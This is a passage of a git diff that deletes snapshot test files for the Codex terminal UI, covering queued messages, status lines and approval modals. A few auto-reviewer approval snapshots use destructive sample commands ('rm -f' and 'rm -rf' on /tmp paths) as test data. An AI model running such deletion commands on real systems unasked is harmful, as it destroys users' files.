a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_many_line_message.snap +++ /dev/null @@ -1,30 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/pending_input_preview.rs -expression: "format!(\"{buf:?}\")" ---- -Buffer { - area: Rect { x: 0, y: 0, width: 40, height: 6 }, - content: [ - "• Queued follow-up messages ", - " ↳ This is ", - " a message ", - " with many ", - " … ", - " ⌥ + ↑ edit last queued message ", - ], - styles: [ - x: 0, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 2, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 4, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: DIM | ITALIC, - x: 11, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 4, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: DIM | ITALIC, - x: 13, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 4, y: 3, fg: Reset, bg: Reset, underline: Reset, modifier: DIM | ITALIC, - x: 13, y: 3, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 4, fg: Reset, bg: Reset, underline: Reset, modifier: DIM | ITALIC, - x: 5, y: 4, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 5, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 34, y: 5, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - ] -} diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_more_than_three_messages.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_more_than_three_messages.snap deleted file mode 100644 index 8d5f61354..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_more_than_three_messages.snap +++ /dev/null @@ -1,33 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/pending_input_preview.rs -expression: "format!(\"{buf:?}\")" ---- -Buffer { - area: Rect { x: 0, y: 0, width: 40, height: 6 }, - content: [ - "• Queued follow-up messages ", - " ↳ Hello, world! ", - " ↳ This is another message ", - " ↳ This is a third message ", - " ↳ This is a fourth message ", - " ⌥ + ↑ edit last queued message ", - ], - styles: [ - x: 0, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 2, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 4, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: DIM | ITALIC, - x: 17, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 4, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: DIM | ITALIC, - x: 27, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 3, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 4, y: 3, fg: Reset, bg: Reset, underline: Reset, modifier: DIM | ITALIC, - x: 27, y: 3, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 4, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 4, y: 4, fg: Reset, bg: Reset, underline: Reset, modifier: DIM | ITALIC, - x: 28, y: 4, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 5, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 34, y: 5, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - ] -} diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_multiline_pending_steer_uses_single_prefix_and_truncates.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_multiline_pending_steer_uses_single_prefix_and_truncates.snap deleted file mode 100644 index 1da9caed3..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_multiline_pending_steer_uses_single_prefix_and_truncates.snap +++ /dev/null @@ -1,29 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/pending_input_preview.rs -expression: "format!(\"{buf:?}\")" ---- -Buffer { - area: Rect { x: 0, y: 0, width: 48, height: 6 }, - content: [ - "• Messages to be submitted after next tool call ", - " (press esc to interrupt and send immediately) ", - " ↳ First line ", - " Second line ", - " Third line ", - " … ", - ], - styles: [ - x: 0, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 2, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 47, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 14, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 4, y: 3, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 15, y: 3, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 4, y: 4, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 14, y: 4, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 5, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 5, y: 5, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - ] -} diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_one_message.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_one_message.snap deleted file mode 100644 index 57cc5e14c..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_one_message.snap +++ /dev/null @@ -1,21 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/pending_input_preview.rs -expression: "format!(\"{buf:?}\")" ---- -Buffer { - area: Rect { x: 0, y: 0, width: 40, height: 3 }, - content: [ - "• Queued follow-up messages ", - " ↳ Hello, world! ", - " ⌥ + ↑ edit last queued message ", - ], - styles: [ - x: 0, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 2, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 4, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: DIM | ITALIC, - x: 17, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 34, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - ] -} diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_one_pending_steer.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_one_pending_steer.snap deleted file mode 100644 index d4ab100ce..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_one_pending_steer.snap +++ /dev/null @@ -1,20 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/pending_input_preview.rs -expression: "format!(\"{buf:?}\")" ---- -Buffer { - area: Rect { x: 0, y: 0, width: 48, height: 3 }, - content: [ - "• Messages to be submitted after next tool call ", - " (press esc to interrupt and send immediately) ", - " ↳ Please continue. ", - ], - styles: [ - x: 0, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 2, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 47, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 20, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - ] -} diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_two_messages.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_two_messages.snap deleted file mode 100644 index 680ed3ba0..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_two_messages.snap +++ /dev/null @@ -1,25 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/pending_input_preview.rs -expression: "format!(\"{buf:?}\")" ---- -Buffer { - area: Rect { x: 0, y: 0, width: 40, height: 4 }, - content: [ - "• Queued follow-up messages ", - " ↳ Hello, world! ", - " ↳ This is another message ", - " ⌥ + ↑ edit last queued message ", - ], - styles: [ - x: 0, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 2, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 4, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: DIM | ITALIC, - x: 17, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 4, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: DIM | ITALIC, - x: 27, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 3, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 34, y: 3, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - ] -} diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_wrapped_message.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_wrapped_message.snap deleted file mode 100644 index fb80ede9b..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_wrapped_message.snap +++ /dev/null @@ -1,28 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/pending_input_preview.rs -expression: "format!(\"{buf:?}\")" ---- -Buffer { - area: Rect { x: 0, y: 0, width: 40, height: 5 }, - content: [ - "• Queued follow-up messages ", - " ↳ This is a longer message that should", - " be wrapped ", - " ↳ This is another message ", - " ⌥ + ↑ edit last queued message ", - ], - styles: [ - x: 0, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 2, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 4, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: DIM | ITALIC, - x: 0, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 4, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: DIM | ITALIC, - x: 14, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 3, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 4, y: 3, fg: Reset, bg: Reset, underline: Reset, modifier: DIM | ITALIC, - x: 27, y: 3, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 4, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 34, y: 4, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - ] -} diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__skills_toggle_view__tests__skills_toggle_basic.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__skills_toggle_view__tests__skills_toggle_basic.snap deleted file mode 100644 index 4bf1b332f..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__skills_toggle_view__tests__skills_toggle_basic.snap +++ /dev/null @@ -1,14 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/skills_toggle_view.rs -expression: "render_lines(&view, 72)" ---- - - Enable/Disable Skills - Turn skills on or off. Your changes are saved automatically. - - Type to search skills - > -› [x] Repo Scout Summarize the repo layout - [ ] Changelog Writer Draft release notes - - Press space or enter to toggle; esc to close diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__status_line_setup__tests__setup_view_snapshot_uses_runtime_preview_values.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__status_line_setup__tests__setup_view_snapshot_uses_runtime_preview_values.snap deleted file mode 100644 index e064b42d2..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__status_line_setup__tests__setup_view_snapshot_uses_runtime_preview_values.snap +++ /dev/null @@ -1,21 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/status_line_setup.rs -expression: "render_lines(&view, 72)" ---- - - Configure Status Line - Select which items to display in the status line. - - Type to search - > -› [x] model-name Current model name - [x] current-dir Current working directory - [x] git-branch Current Git branch (omitted when unavaila… - [ ] model-with-reasoning Current model name with reasoning level - [ ] project-root Project root directory (omitted when unav… - [ ] context-remaining Percentage of context window remaining (o… - [ ] context-used Percentage of context window used (omitte… - [ ] five-hour-limit Remaining usage on 5-hour usage limit (om… - - gpt-5-codex · ~/codex-rs · jif/statusline-preview - Use ↑↓ to navigate, ←→ to move, space to select, enter to confirm, esc diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__tests__queued_messages_visible_when_status_hidden_snapshot.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__tests__queued_messages_visible_when_status_hidden_snapshot.snap deleted file mode 100644 index baac4556b..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__tests__queued_messages_visible_when_status_hidden_snapshot.snap +++ /dev/null @@ -1,11 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/mod.rs -expression: "render_snapshot(&pane, area)" ---- -• Queued follow-up messages - ↳ Queued follow-up question - ⌥ + ↑ edit last queued message - -› Ask Codex to do anything - - ? for shortcuts 100% context left diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__tests__status_and_composer_fill_height_without_bottom_padding.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__tests__status_and_composer_fill_height_without_bottom_padding.snap deleted file mode 100644 index 643b2780d..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__tests__status_and_composer_fill_height_without_bottom_padding.snap +++ /dev/null @@ -1,10 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/mod.rs -expression: "render_snapshot(&pane, area)" ---- -• Working (0s • esc to interr… - - -› Ask Codex to do anything - - 100% context left diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__tests__status_and_queued_messages_snapshot.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__tests__status_and_queued_messages_snapshot.snap deleted file mode 100644 index 542c82d36..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__tests__status_and_queued_messages_snapshot.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/mod.rs -expression: "render_snapshot(&pane, area)" ---- -• Working (0s • esc to interrupt) - -• Queued follow-up messages - ↳ Queued follow-up question - ⌥ + ↑ edit last queued message - -› Ask Codex to do anything - - ? for shortcuts 100% context left diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__tests__status_only_snapshot.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__tests__status_only_snapshot.snap deleted file mode 100644 index c76036506..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__tests__status_only_snapshot.snap +++ /dev/null @@ -1,10 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/mod.rs -expression: "render_snapshot(&pane, area)" ---- -• Working (0s • esc to interrupt) - - -› Ask Codex to do anything - - ? for shortcuts 100% context left diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__tests__status_with_details_and_queued_messages_snapshot.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__tests__status_with_details_and_queued_messages_snapshot.snap deleted file mode 100644 index 13d6656be..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__tests__status_with_details_and_queued_messages_snapshot.snap +++ /dev/null @@ -1,15 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/mod.rs -expression: "render_snapshot(&pane, area)" ---- -• Working (0s • esc to interrupt) - └ First detail line - Second detail line - -• Queued follow-up messages - ↳ Queued follow-up question - ⌥ + ↑ edit last queued message - -› Ask Codex to do anything - - ? for shortcuts 100% context left diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__unified_exec_footer__tests__render_many_sessions.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__unified_exec_footer__tests__render_many_sessions.snap deleted file mode 100644 index 45d36a9a1..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__unified_exec_footer__tests__render_many_sessions.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/unified_exec_footer.rs -expression: "format!(\"{buf:?}\")" ---- -Buffer { - area: Rect { x: 0, y: 0, width: 50, height: 1 }, - content: [ - " 123 background terminals running · /ps to view ·", - ], - styles: [ - x: 0, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - ] -} diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__unified_exec_footer__tests__render_more_sessions.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__unified_exec_footer__tests__render_more_sessions.snap deleted file mode 100644 index db77b23f3..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__unified_exec_footer__tests__render_more_sessions.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/unified_exec_footer.rs -expression: "format!(\"{buf:?}\")" ---- -Buffer { - area: Rect { x: 0, y: 0, width: 50, height: 1 }, - content: [ - " 1 background terminal running · /ps to view · /s", - ], - styles: [ - x: 0, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - ] -} diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__apps_popup_loading_state.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__apps_popup_loading_state.snap deleted file mode 100644 index e75302e5c..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__apps_popup_loading_state.snap +++ /dev/null @@ -1,8 +0,0 @@ ---- -source: tui/src/chatwidget/tests.rs -expression: before ---- - Apps - Loading installed and available apps... - -› 1. Loading apps... This updates when the full list is ready. diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_approved_exec_renders_approved_request.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_approved_exec_renders_approved_request.snap deleted file mode 100644 index ed8c4c90f..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_approved_exec_renders_approved_request.snap +++ /dev/null @@ -1,17 +0,0 @@ ---- -source: tui/src/chatwidget/tests.rs -assertion_line: 9237 -expression: term.backend().vt100().screen().contents() ---- - - - - - -✔ Auto-reviewer approved codex to run rm -f /tmp/guardian-approved.sqlite this - time - - -› Ask Codex to do anything - - ? for shortcuts 100% context left diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_parallel_reviews_render_aggregate_status.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_parallel_reviews_render_aggregate_status.snap deleted file mode 100644 index f6ff8c066..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_parallel_reviews_render_aggregate_status.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui/src/chatwidget/tests.rs -assertion_line: 9336 -expression: rendered ---- -• Reviewing 2 approval requests (0s • esc to interrupt) - └ • rm -rf '/tmp/guardian target 1' - • rm -rf '/tmp/guardian target 2' - - -› Ask Codex to do anything - - ? for shortcuts 100% context left diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__review_queues_user_messages_snapshot.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__review_queues_user_messages_snapshot.snap deleted file mode 100644 index 79c08c42e..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__review_queues_user_messages_snapshot.snap +++ /dev/null @@ -1,22 +0,0 @@ ---- -source: tui/src/chatwidget/tests.rs -expression: term.backend().vt100().screen().contents() ---- - - - - - - - - - -• Working (0s • esc to interrupt) - -• Queued follow-up messages - ↳ Queued while /review is running. - ⌥ + ↑ edit last queued message - -› Ask Codex to do anything - - ? for shortcuts 100% context left diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__apply_patch_manual_flow_history_approved.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__apply_patch_manual_flow_history_approved.snap deleted file mode 100644 index 94697e23d..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__apply_patch_manual_flow_history_approved.snap +++ /dev/null @@ -1,6 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: lines_to_single_string(&approved_lines) ---- -• Added foo.txt (+1 -0) - 1 +hello diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__approval_modal_exec.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__approval_modal_exec.snap deleted file mode 100644 index cbaf083d5..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__approval_modal_exec.snap +++ /dev/null @@ -1,17 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: terminal.backend().vt100().screen().contents() ---- - - - Would you like to run the following command? - - Reason: this is a test reason such as one that would be produced by the model - - $ echo hello world - -› 1. Yes, proceed (y) - 2. Yes, and don't ask again for commands that start with `echo hello world` (p) - 3. No, and tell Codex what to do differently (esc) - - Press enter to confirm or esc to cancel diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__approval_modal_exec_multiline_prefix_no_execpolicy.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__approval_modal_exec_multiline_prefix_no_execpolicy.snap deleted file mode 100644 index 95307f9e9..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__approval_modal_exec_multiline_prefix_no_execpolicy.snap +++ /dev/null @@ -1,16 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: contents ---- - - - Would you like to run the following command? - - $ python - <<'PY' - print('hello') - PY - -› 1. Yes, proceed (y) - 2. No, and tell Codex what to do differently (esc) - - Press enter to confirm or esc to cancel diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__approval_modal_exec_no_reason.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__approval_modal_exec_no_reason.snap deleted file mode 100644 index 55374a2b3..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__approval_modal_exec_no_reason.snap +++ /dev/null @@ -1,15 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: terminal.backend().vt100().screen().contents() ---- - - - Would you like to run the following command? - - $ echo hello world - -› 1. Yes, proceed (y) - 2. Yes, and don't ask again for commands that start with `echo hello world` (p) - 3. No, and tell Codex what to do differently (esc) - - Press enter to confirm or esc to cancel diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__approval_modal_patch.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__approval_modal_patch.snap deleted file mode 100644 index 55b643178..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__approval_modal_patch.snap +++ /dev/null @@ -1,20 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: terminal.backend().vt100().screen().contents() ---- - - - Would you like to make the following edits? - - Reason: The model wants to apply changes - - README.md (+2 -0) - - 1 +hello - 2 +world - -› 1. Yes, proceed (y) - 2. Yes, and don't ask again for these files (a) - 3. No, and tell Codex what to do differently (esc) - - Press enter to confirm or esc to cancel diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__approvals_selection_popup.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__approvals_selection_popup.snap deleted file mode 100644 index fe48237f5..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__approvals_selection_popup.snap +++ /dev/null @@ -1,14 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: popup ---- - Update Model Permissions - -› 1. Default Codex can read and edit files in the current workspace, and - run commands. Approval is required to access the internet or - edit other files. - 2. Full Access Codex can edit files outside this workspace and access the - internet without asking for approval. Exercise caution when - using. - - Press enter to confirm or esc to go back diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__approvals_selection_popup@windows.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__approvals_selection_popup@windows.snap deleted file mode 100644 index 75f01c07c..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__approvals_selection_popup@windows.snap +++ /dev/null @@ -1,17 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: popup ---- - Update Model Permissions - -› 1. Read Only (current) Codex can read files in the current workspace. - Approval is required to edit files or access the - internet. - 2. Default Codex can read and edit files in the current - workspace, and run commands. Approval is required to - access the internet or edit other files. - 3. Full Access Codex can edit files outside this workspace and - access the internet without asking for approval. - Exercise caution when using. - - Press enter to confirm or esc to go back diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chat_small_idle_h1.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chat_small_idle_h1.snap deleted file mode 100644 index 7f6238d8a..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chat_small_idle_h1.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: terminal.backend() ---- -" " diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chat_small_idle_h2.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chat_small_idle_h2.snap deleted file mode 100644 index 476b3c350..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chat_small_idle_h2.snap +++ /dev/null @@ -1,6 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: terminal.backend() ---- -" " -" " diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chat_small_idle_h3.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chat_small_idle_h3.snap deleted file mode 100644 index 7db71a7f6..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chat_small_idle_h3.snap +++ /dev/null @@ -1,7 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: terminal.backend() ---- -" " -" " -" " diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chat_small_running_h1.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chat_small_running_h1.snap deleted file mode 100644 index 7f6238d8a..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chat_small_running_h1.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: 